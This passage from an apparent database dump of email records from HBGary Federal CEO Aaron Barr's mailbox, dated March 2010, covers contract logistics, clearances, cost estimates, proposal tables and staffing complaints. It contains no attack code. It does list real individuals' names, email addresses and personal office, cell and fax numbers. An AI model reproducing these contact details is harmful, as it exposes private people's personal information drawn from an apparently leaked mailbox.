work be in Sacramento.&nbsp; Is this correct and is address the same as the contract address for HBGary Federal?&nbsp;Chris\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15768,'aaron_hbgary_com/15768.html'),(3963,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002089.M711781P3547Q3964.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: Place of Performance','Great. &nbsp;Then I would put Sacramento.AaronOn Mar 12, 2010, at 10:10 AM, Starr, Christopher H. wrote:\r\nAaron, that is no problem.  We just need to list a primary place of work.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Mar 12 10:07:13 2010Subject: Re: Place of Performance\r\n\r\nMorning Chris,Can we have multiple places of performance or just 1?AaronOn Mar 11, 2010, at 5:36 PM, Starr, Christopher H. wrote:Aaron,&nbsp;I presume the primary&nbsp;Place of Performance&nbsp;for your work be in Sacramento.&nbsp; Is this correct and is address the same as the contract address for HBGary Federal?&nbsp;Chris\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13915,'aaron_hbgary_com/13915.html'),(3964,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002089.M893614P3547Q3965.eml','\"Hakenson, Kurt E (IT Solutions)\" <kurt.hakenson@ngc.com>','Re: Call me','Hey Kurt,Hows it going?I do have 1 or 2 malware analysts with tickets if there is a need. &nbsp;You mentioned 2 potential positions with the person you were talking with, I think up at the Fort. &nbsp;Do you still want to set up a meeting?AaronOn Feb 24, 2010, at 9:28 PM, Hakenson, Kurt E (IT Solutions) wrote:\r\n\r\n410-919-8067\r\n\r\n\r\n\r\nKurt Hakenson\r\nChief Technologist\r\nElectronic Systems Sector\r\nNorthrop Grumman Corp.\r\n410-993-6499\r\n\r\n\"It is not necessary to change.&nbsp; Survival is not mandatory.\" ~W. Edwards Deming\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8055,'aaron_hbgary_com/8055.html'),(3965,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002089.M99443P3547Q3961.eml','\"Pisani, Albert A.\" <albert.pisani@TASC.COM>','VISE','Al,\r\n\r\nA few companies have talked to me about helping out on a recompete for\r\nthis contract.  Their take is the government isn\'t happy with Booz.\r\nYou have slots on that contract if I remember right.  Are you staying\r\nwith the existing team or looking around?\r\n\r\nBTW, my clearance came in so we can get started on COIN next week.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6563,'aaron_hbgary_com/6563.html'),(3966,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002090.M280766P3547Q3967.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Talk','I am pretty open just working on proposal stuff.From my iPhoneOn Mar 12, 2010, at 10:57 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\nJeez!  It never slows down.\r\nWhen can you talk this afternoon?\r\n\r\nBrian\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',4076,'aaron_hbgary_com/4076.html'),(3967,'2010-03-12','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297002090.M497196P3547Q3968.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Talk','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCool.&nbsp; How about 2?\r\n\r\nOn the totally irrelevant side, did you preorder an iPad yet?&nbsp; I\r\njust saw the unlimited 3G data plan is only 30/month.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 10:59 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Talk\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI am pretty open just working on proposal stuff.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 10:57 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\nJeez!&nbsp; It never slows\r\ndown.\r\nWhen can you talk this afternoon?\r\n\r\nBrian\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3943,'aaron_hbgary_com/3943.html'),(3968,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002090.M700397P3547Q3969.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Talk','I haven\'t yet but going to.On Mar 12, 2010, at 11:00 AM, Masterson, Brian (Xetron) wrote:Cool.&nbsp; How about 2?On the totally irrelevant side, did you preorder an iPad yet?&nbsp; I just saw the unlimited 3G data plan is only 30/month.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 12, 2010 10:59 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Talk&nbsp;I am pretty open just working on proposal stuff.From my iPhoneOn Mar 12, 2010, at 10:57 AM, \"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt; wrote:Hey Aaron,Jeez!&nbsp; It never slows down.When can you talk this afternoon?BrianBrian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3877\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2754,'aaron_hbgary_com/2754.html'),(3969,'2010-03-12','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297002090.M80166P3547Q3966.eml','\"Aaron Barr\" <aaron@hbgary.com>','Talk','\r\n\r\n\r\n\r\n\r\nTalk\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\nJeez!&nbsp; It never slows down.\r\nWhen can you talk this afternoon?\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',15022,'aaron_hbgary_com/15022.html'),(3970,'2010-03-12','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002090.M886003P3547Q3970.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Place of Performance','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSacramento it is.\r\n\r\n&nbsp;\r\n\r\nAre you working on the updated cost estimates to send us?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 10:12 AM\r\nTo: Starr, Christopher H.\r\nSubject: Re: Place of Performance\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat. &nbsp;Then I would put Sacramento.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 10:10 AM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, that is no problem. We just need to list a primary place of\r\nwork.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\nTo: Starr, Christopher H. \r\nSent: Fri Mar 12 10:07:13 2010\r\nSubject: Re: Place of Performance \r\n\r\n\r\n\r\nMorning Chris,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCan we have multiple places of performance or just 1?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 11, 2010, at 5:36 PM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\npresume the primary&nbsp;Place of\r\nPerformance&nbsp;for your work be\r\nin Sacramento.&nbsp; Is this correct and is address the same as the contract\r\naddress for HBGary Federal?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12441,'aaron_hbgary_com/12441.html'),(3971,'2010-03-12','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297002091.M108272P3547Q3971.eml','\"Aaron Barr\" <aaron@hbgary.com>','telephone call','\r\n\r\n\r\n\r\n\r\ntelephone call\r\n\r\n\r\n\r\n\r\nWhen: Friday, March 12, 2010 2:00 PM-2:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',13930,'aaron_hbgary_com/13930.html'),(3972,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002091.M324304P3547Q3972.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: Place of Performance','yep (and our TA3 RFP using your format - thanks again).first thing is I think we are going to suggest we skip the tool mark study and just try to pick some of that up while we are doing trait analysis. &nbsp;It won\'t be focused on toolmarks. &nbsp;Maybe slip to the outer years.more to come.AaronOn Mar 12, 2010, at 11:08 AM, Starr, Christopher H. wrote:Sacramento it is.&nbsp;Are you working on the updated cost estimates to send us?&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 12, 2010 10:12 AMTo:&nbsp;Starr, Christopher H.Subject:&nbsp;Re: Place of Performance&nbsp;Great. &nbsp;Then I would put Sacramento.&nbsp;Aaron&nbsp;On Mar 12, 2010, at 10:10 AM, Starr, Christopher H. wrote:Aaron, that is no problem. We just need to list a primary place of work.&nbsp;From: Aaron Barr &lt;aaron@hbgary.com&gt;&nbsp;To: Starr, Christopher H.&nbsp;Sent: Fri Mar 12 10:07:13 2010Subject: Re: Place of PerformanceMorning Chris,&nbsp;Can we have multiple places of performance or just 1?&nbsp;Aaron&nbsp;On Mar 11, 2010, at 5:36 PM, Starr, Christopher H. wrote:Aaron,&nbsp;I presume the primary&nbsp;Place of Performance&nbsp;for your work be in Sacramento.&nbsp; Is this correct and is address the same as the contract address for HBGary Federal?&nbsp;Chris&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15836,'aaron_hbgary_com/15836.html'),(3973,'2010-03-12','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002091.M529213P3547Q3973.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Place of Performance','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 11:18 AM\r\nTo: Starr, Christopher H.\r\nSubject: Re: Place of Performance\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nyep (and our TA3 RFP using your format - thanks again).\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nfirst thing is I think we are going to suggest we skip the\r\ntool mark study and just try to pick some of that up while we are doing trait\r\nanalysis. &nbsp;It won\'t be focused on toolmarks. &nbsp;Maybe slip to the outer\r\nyears.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nmore to come.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 11:08 AM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSacramento it is.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAre you working on the updated cost estimates to send us?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, March 12,\r\n2010 10:12 AM\r\nTo:&nbsp;Starr, Christopher H.\r\nSubject:&nbsp;Re: Place of\r\nPerformance\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGreat. &nbsp;Then I would put Sacramento.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 10:10 AM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, that is no problem. We just need to list a primary place of\r\nwork.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;&nbsp;\r\nTo: Starr, Christopher H.&nbsp;\r\nSent: Fri Mar 12 10:07:13 2010\r\nSubject: Re: Place of Performance\r\n\r\n\r\n\r\n\r\n\r\nMorning Chris,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCan we have multiple places of performance or just 1?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 11, 2010, at 5:36 PM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\npresume the primary&nbsp;Place of\r\nPerformance&nbsp;for your work be\r\nin Sacramento.&nbsp; Is this correct and is address the same as the contract\r\naddress for HBGary Federal?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9031,'aaron_hbgary_com/9031.html'),(3974,'2010-03-12','\"Pisani, Albert A.\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297002091.M836842P3547Q3974.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: VISE','Aaron:\r\nGood news on the clearance. Cool.\r\nLet me check with John Lovegrove on Booze and where we stand.  It does\r\nnot ring a bell with me.\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 9:29 AM\r\nTo: Pisani, Albert A.\r\nSubject: VISE\r\n\r\nAl,\r\n\r\nA few companies have talked to me about helping out on a recompete for\r\nthis contract.  Their take is the government isn\'t happy with Booz.\r\nYou have slots on that contract if I remember right.  Are you staying\r\nwith the existing team or looking around?\r\n\r\nBTW, my clearance came in so we can get started on COIN next week.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12013,'aaron_hbgary_com/12013.html'),(3975,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002093.M910368P3547Q3975.eml','\"Ted Vera\" <ted@hbgary.com>','SRI RFP','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14787,'aaron_hbgary_com/14787.html'),(3976,'2010-03-12','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002094.M123205P3547Q3976.eml','\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Ted Vera\" <ted@hbgary.com>,\"Colleen Ferguson\" <colleen.ferguson@sri.com>,don.sanders@pikewerks.com,\"Jim Fong\" <jimfong@berkeley.edu>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Ted Vera\" <ted@hbgary.com>,\"Colleen Ferguson\" <colleen.ferguson@sri.com>,don.sanders@pikewerks.com,\"Jim Fong\" <jimfong@berkeley.edu>,','Revised Travel/Milestones Dates Table - Cyber Genome Proposal','\r\n\r\n\r\n\r\n\r\nHello \r\nTeam,\r\n&nbsp;\r\nAttached is the revised \r\nTravel/Milestones dates table.&nbsp; This table replaces the table contained in \r\nthe RFP Statement of Work, and your cost volume should be updated \r\naccordingly.\r\n&nbsp;\r\nPlease contact Ryan Vela if \r\nyou have questions regarding the table information, and copy me on your \r\nemail.&nbsp; Thank you.\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\nCindy\r\n',13856,'aaron_hbgary_com/13856.html'),(3977,'2010-03-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002094.M902776P3547Q3977.eml','\"Aaron Barr\" <aaron@hbgary.com>','Updated Pricing Lead Sheet','Attached.\r\n',6330,'aaron_hbgary_com/6330.html'),(3978,'2010-03-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002095.M190093P3547Q3978.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Please explain this to me.....','a\r\n\r\n-------- Original Message --------\r\nSubject: Please explain this to me.....\r\nDate: Fri, 12 Mar 2010 09:40:13 -0700\r\nFrom: Joy Williams \r\nTo: ted@hbgary.com\r\n\r\nOk...I have a question. Today Ernst found out he was being removed from the\r\ncontract altogether (read off like I told you was going to happen, but most\r\nof them were not aware of that). So he went to Dan and asked him why. He\r\nthought what was explained initially was that those people who were being\r\nremoved would have the opportunity to come back if there was work to be\r\ndone. He told him that the only people they plan on hiring would be\r\nlinguists or outside contractors to support the contract no one who had been\r\nremoved would be brought back.\r\n\r\nNow my question is : Is that a smart PM move and why would he do such a\r\nthing (other than to accomplish his evil plan)? He has now in a sense\r\ncompletely stifled this programs growth potential from an NG persecptive.\r\nWhy would NG support us to chase after a program that has no potential of\r\ngrowing and making them any more money? Isn\'t growth always the goal not\r\njust winning the work?\r\n\r\nI mean would you chase after a multi-million contract to put yourself and\r\nyour team in a position not to grow? To mean that means anyone who is\r\nsupporting it has no where else to go within that work.\r\n\r\nYour opinion please........\r\n\r\n-- \r\n\"That is why we never give up. Though our bodies are dying, our spirits are\r\nbeing renewed every day. For our present troubles are small and won’t last\r\nvery long. Yet they produce for us a glory that vastly outweighs them and\r\nwill last forever! So we don’t look at the troubles we can see now; rather,\r\nwe fix\r\nour gaze on things that cannot be seen. For the things we see now will soon\r\nbe gone, but the things we cannot see will last forever.\"(2 Corinthians\r\n4:16)\r\n\r\n',15094,'aaron_hbgary_com/15094.html'),(3979,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002095.M391521P3547Q3979.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: Place of Performance','Chris,Clarification. &nbsp;Were you looking at a 30% reduction in overall cost or just 30% over the first 2 years?AaronOn Mar 12, 2010, at 11:18 AM, Starr, Christopher H. wrote:Aaron,&nbsp;Thanks!&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 12, 2010 11:18 AMTo:&nbsp;Starr, Christopher H.Subject:&nbsp;Re: Place of Performance&nbsp;yep (and our TA3 RFP using your format - thanks again).&nbsp;first thing is I think we are going to suggest we skip the tool mark study and just try to pick some of that up while we are doing trait analysis. &nbsp;It won\'t be focused on toolmarks. &nbsp;Maybe slip to the outer years.&nbsp;more to come.&nbsp;Aaron&nbsp;On Mar 12, 2010, at 11:08 AM, Starr, Christopher H. wrote:Sacramento it is.&nbsp;Are you working on the updated cost estimates to send us?&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 12, 2010 10:12 AMTo:&nbsp;Starr, Christopher H.Subject:&nbsp;Re: Place of Performance&nbsp;Great. &nbsp;Then I would put Sacramento.&nbsp;Aaron&nbsp;On Mar 12, 2010, at 10:10 AM, Starr, Christopher H. wrote:Aaron, that is no problem. We just need to list a primary place of work.&nbsp;From: Aaron Barr &lt;aaron@hbgary.com&gt;&nbsp;To: Starr, Christopher H.&nbsp;Sent: Fri Mar 12 10:07:13 2010Subject: Re: Place of PerformanceMorning Chris,&nbsp;Can we have multiple places of performance or just 1?&nbsp;Aaron&nbsp;On Mar 11, 2010, at 5:36 PM, Starr, Christopher H. wrote:Aaron,&nbsp;I presume the primary&nbsp;Place of Performance&nbsp;for your work be in Sacramento.&nbsp; Is this correct and is address the same as the contract address for HBGary Federal?&nbsp;Chris&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6339,'aaron_hbgary_com/6339.html'),(3980,'2010-03-12','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297002095.M632513P3547Q3980.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Ted Vera','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat, please call me after you are done and I will meet you.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 7:09 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOk. &nbsp;Briefing starts at 830.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 7:06 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nWhat time are you being briefed?&nbsp; Maybe we can grab a cup of coffee after\r\nthat.&nbsp; We\'ll discuss next steps then but I do not believe you need go to\r\nthe customer site.&nbsp; All I need is notification that your clearance\r\ncrossedover.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 3/11/2010 9:51 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\nAgreed.&nbsp; Well I believe I am supposed to get briefed on Tuesday at your\r\nfacility.&nbsp; So anytime after that.&nbsp; Or do I need to go out to the\r\ncustomer facility for any briefings/badging? or does the Tuesday briefing\r\nsuffice?\r\n\r\nAaron\r\n\r\nOn Mar 11, 2010, at 9:45 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Good point, I\'ll check with our security to make sure he was submitted 